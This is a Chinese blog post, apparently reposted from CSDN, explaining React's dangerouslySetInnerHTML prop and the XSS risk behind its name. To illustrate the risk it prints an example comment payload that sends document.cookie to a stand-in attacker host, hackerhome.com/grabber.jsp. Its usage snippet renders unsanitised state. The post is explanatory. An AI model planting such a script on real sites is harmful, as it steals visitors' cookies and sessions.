react 中正常显示HTML(dangerouslySetInnerHTML )

1.react 中正常显示HTML(dangerouslySetInnerHTML )

在react中,以变量形式把html字符串付给标签,不会解析成标签。这时候需要一个react属性(dangerouslySetInnerHTML )来解决。

  1. react官网解释:

不合时宜的使用 innerHTML 可能会导致 cross-site scripting (XSS) 攻击。 净化用户的输入来显示的时候,经常会出现错误,不合适的净化也是导致网页攻击 的原因之一。
  我们的设计哲学是让确保安全应该是简单的,开发者在执行“不安全”的操作的时候应该清楚地知道他们自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设计的,以此来警告,它的 prop 值( 一个对象而不是字符串 )应该被用来表明净化后的数据。

  1. 解决办法:
 <div dangerouslySetInnerHTML={
   
   {__html: this.state.content}}></div>
  1. 什么是 cross-site scripting (XSS)攻击:
    XSS示例
      在深入了解XSS的各个方面之前,让我们首先了解XSS攻击到底是怎样完成的。
      就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下HTML标记:
<Script>alert(“XSS attack available!”);</Script>

而从用户的角度来看,该网页中就出现了一个警告:
 在这里插入图片描述
也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

<script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' width=16 height=16 border=0 />');</script>

该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息。
所以,react的做法是不直接读取你的html代码,以此来避免cross-site scripting (XSS)攻击,让你的代码更加安全。
可以参考这篇文章:http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html

猜你喜欢

转载自blog.csdn.net/qq_36893477/article/details/108446569
今日推荐